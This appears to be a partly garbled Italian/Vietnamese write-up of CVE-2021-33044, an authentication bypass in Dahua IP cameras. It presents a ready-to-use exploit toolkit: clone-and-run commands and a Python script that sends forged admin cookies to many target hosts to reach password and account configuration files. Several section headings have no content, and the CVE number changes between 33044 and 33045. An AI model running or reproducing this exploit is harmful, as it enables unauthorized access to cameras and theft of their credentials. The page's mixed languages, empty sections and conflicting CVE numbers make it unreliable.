
Camera Dahua Research vulnerabilità CVE-2021-33044
Le telecamere IP Dahua sono dispositivi IoT ampiamente utilizzati nei sistemi di videosorveglianza. Poiché vengono spesso implementate in reti locali o accessibili da Internet, le vulnerabilità di sicurezza nelle telecamere IP possono avere un grave impatto sulla privacy e sulla sicurezza delle informazioni.
CVE-2021-33045 è una vulnerabilità di sicurezza presente in alcuni modelli di telecamere Dahua che consente l'accesso non autorizzato alle risorse di configurazione interne senza un'autenticazione valida. Questa vulnerabilità deriva da un meccanismo di controllo degli accessi non rigoroso nel firmware del dispositivo.
| Voce | Contenuto |
|---|---|
| CVE | CVE-2021-33044 |
| Tipo | Authentication Bypass |
| Gravità | Critical (CVSS ~9.8) |
| Auth | Nessuna autenticazione richiesta |
| Impatto | Telecamere Dahua / DVR / NVR |
La vulnerabilità deriva da una progettazione non sicura dell'autenticazione nel firmware delle telecamere Dahua:
Ciò consente all'attaccante di:
Riferimenti:
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
Porte Dahua comuni: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
Lo script utilizza la libreria requests e disabilita attivamente gli avvisi SSL.
La funzione dump_accounts(ip, port=80) è la funzione principale responsabile del controllo di un dispositivo camera.
Le funzionalità principali della funzione servono a:
Simula il cookie di autenticazione. La funzione utilizza valori di cookie come:
userName=adminuserLevel=1sessionID=00000000Nelle versioni di telecamera vulnerabili, il backend non verifica il sessionID effettivo, portando il sistema a ritenere che la richiesta provenga da un account amministrativo valido.
Lo script legge l'elenco dei target da un file di input e chiama la funzione di controllo per ciascun dispositivo. Questo approccio consente di valutare più telecamere automaticamente.
Questi script sono stati sviluppati sulla base di:
Stato dei test:
Questo progetto:
| File | Scopo | CVEs |
|---|
dahua_scanner.py | Scansione di rete — trova telecamere Dahua nella sottorete | Rilevamento |
dahua_exploit.py | Strumento di scansione Multi-CVE — verifica tutte le vulnerabilità di sicurezza. | Tutte |
dahua_auth_bypass.py | Bypass dell'autenticazione dedicato con opzione --dump | CVE-2021-33044 |